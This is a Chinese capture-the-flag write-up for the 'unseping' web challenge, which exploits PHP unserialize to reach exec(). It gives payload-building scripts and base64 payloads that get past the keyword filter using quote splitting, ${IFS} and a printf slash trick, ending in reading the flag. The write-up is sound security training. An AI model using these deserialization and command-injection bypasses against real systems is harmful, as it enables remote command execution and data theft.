攻防世界-web习题-unseping-flag获取详解、总结

发布于:2025-07-21 ⋅ 阅读:(19) ⋅ 点赞:(0)

解题思路

比较复杂的一题...

打开靶场,给了源码

<?php
highlight_file(__FILE__);

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
 
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
 
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }

    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

我们分开剖析每一段源码:

 function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }

__construct魔术方法,

在类被实例化的时候会被调用,反序列化时不调用。

这里仅做了一个参数传值的操作

function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 

析构魔术方法__destruct(),在类被销毁时自动调用,或者在被反序列化的类销毁时会被调用。

这里有个in_array()方法,这个方法用来判断某个变量在数组中是否存在,返回布尔类型。

这里呢就是判断数组[ping]中是否包含了我们的变量method。如果包含,才继续。

进入嵌套中有call_user_func_array()方法,

它的作用就是 —— “把一个数组中的参数,作为函数的参数依次传入并调用该函数。”

第一个参数是函数方法,第二个参数则是数组。说明args变量为数组,前面method则为方法。

这里明显就是要调用ping方法,因为判断就是必须要method等于ping,然后args呢就必须是ping方法中要传递的参数。

接下来Ping方法来了

function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }

传入参数ip,并且以命令执行exec,然后输出结果。看到这里就能想到我们的args是我们需要注入的命令了。

function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }

然后是WAF方法,过滤了很多字符、字母等,需要绕过。

function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    } 

wakeup魔术方法,在类被反序列化时会被自动调用。

这里就是将我们要注入的命令输入到WAF过滤。


$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

用POST传入ctf参数,然后进行base64解码,然后再进行反序列化。

总结:

1. 我们需要调用ping方法,执行注入命令,怎么调用?

2. 析构魔术方法__destruct()会调用Ping方法,只要我们让method="ping"即可,怎么调用析构魔术方法?

3.在类被反序列化后销毁调用,我们可以提交base64编码的反序列化对象作为ctf值进行传入,然后就会被base64解码、反序列化,最后会调用析构魔术方法。但是,反序列化时会调用wakeup魔术方法,即我们的输入会进而调用WAF方法,命令会被过滤。

4.所以我们需要绕过WAF即可注入命令。

下面构造Payload,绕过waf,进行ls命令注入,查看当前目录

<?php

class ease{
private $method;
private $args;
function __construct($method, $args) {
    $this->method = $method;
    $this->args = $args;
}
  
}
$a = new ease("ping",array('l""s'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>

这里由于ls被waf过滤,可以采用多种绕过方式:如,l''s 或 l""s 或 l/s等等

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsIiJzIjt9fQ==

post提交ctf即可,看到flag_ls_here文件夹。

这里有个坑点:ctf提交的时候,与数据包头之间空行不能太多,后面的空行也不行,否则无法识别。。不知道是我burpsuit的原因还是什么?我反正在其他题目空行就没什么问题...

知道flag_ls_here了,那么继续注入命令,ls该文件夹

注意flag被过滤了,可以用fl*通配符绕过,即fl开头的所有文件,这里只有目标文件。

当然也可以像ls那样用字符绕过。

其中${IFS},是经典的空格绕过。

<?php

class ease{
private $method;
private $args;
function __construct($method, $args) {
    $this->method = $method;
    $this->args = $args;
}
  
}
$a = new ease("ping",array('l""s${IFS}fl*'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>

 payload:

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxMzoibCIicyR7SUZTfWZsKiI7fX0=

 

 可以看到应该是最终的flag文件了

<?php

class ease{
private $method;
private $args;
function __construct($method, $args) {
    $this->method = $method;
    $this->args = $args;
}
  
}
$a = new ease("ping",array('ca""t${IFS}fl*$(printf${IFS}"\57")fl*'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>

这里cat用字符绕过,空格用老规矩绕过,fl文件夹和fl文件都可以用通配符绕过,比较难得就是目录符号/的绕过:

$(printf${IFS}"\57")
↓ 执行过程
1. ${IFS} → 空格
2. 执行命令: printf "\\57"
3. 输出结果: /
4. 最终替换: $() 位置被替换为 /

最终: 

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozNzoiY2EiInQke0lGU31mbCokKHByaW50ZiR7SUZTfSJcNTciKWZsKiI7fX0=

 

成功找到flag。 

总结

一道比较复杂的反序列化漏洞题目,难点主要是在绕过这里。

这里我第一时间想到的是利用反序列化漏洞,绕过WAF检测,也就是将序列化的属性数量多余实际数量,绕过wakeup方法,但是此题无法绕过,可能是源码检测了不给绕过吧,我看其他人的WP没有绕过的...


网站公告

今日签到

点亮在社区的每一天
去签到